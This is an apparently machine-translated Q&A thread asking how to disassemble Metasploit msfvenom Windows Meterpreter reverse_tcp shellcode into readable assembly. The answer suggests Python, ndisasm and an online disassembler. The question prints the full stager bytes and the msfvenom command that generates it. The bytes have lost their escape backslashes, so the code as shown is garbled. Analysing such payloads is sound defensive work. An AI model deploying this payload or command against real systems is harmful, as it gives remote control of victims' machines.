如何将外壳代码转换为可读的汇编代码/指令

Question

例如，我如何转换以下窗口外壳代码：

xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x8bx52x0cx89xe5x8bx52x14x0fxb7x4ax26x31xffx8bx72x28x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49x75xefx52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4cx01xd0x8bx48x18x50x8bx58x20x01xd3x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x6ax0ax68x0ax00x00x01x68x02x00x01xbbx89xe6x50x50x50x50x40x50x40x50x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6ax00x53xffxd5

从metasploit的msfvenom工具生成：

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=443

可用于C中内联汇编的英特尔语法的可读汇编指令/代码？

Answer 1

这是一个C风格的转义字符串；将其转储到文件的一个简单方法是用任何支持它们的语言编写程序，例如Python

open("out.bin", "wb").write(b"xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x8bx52x0cx89xe5x8bx52x14x0fxb7x4ax26x31xffx8bx72x28x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49x75xefx52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4cx01xd0x8bx48x18x50x8bx58x20x01xd3x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x6ax0ax68x0ax00x00x01x68x02x00x01xbbx89xe6x50x50x50x50x40x50x40x50x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6ax00x53xffxd5")

然后使用ndisasm等反汇编程序将二进制文件反汇编为汇编代码：

ndisasm -b 32 out.bin

(假设它是32位代码，看起来是这样(。

如果您正在寻找在线解决方案而不是本地解决方案，您可以使用此网站：https://defuse.ca/online-x86-assembler.htm在该网站上，您可以直接在"；"拆卸"；文本框中，选择是要32位指令还是64位指令；拆解"；按钮

当然，这两种方法都不会产生可立即用作内联汇编的代码-这取决于编译器接受的方言，此外，您必须调整所有跳转，使其引用标签而不是地址，可能将嵌入数据与代码分离，等等。最终，研究它并编写等效的C代码可能更有用。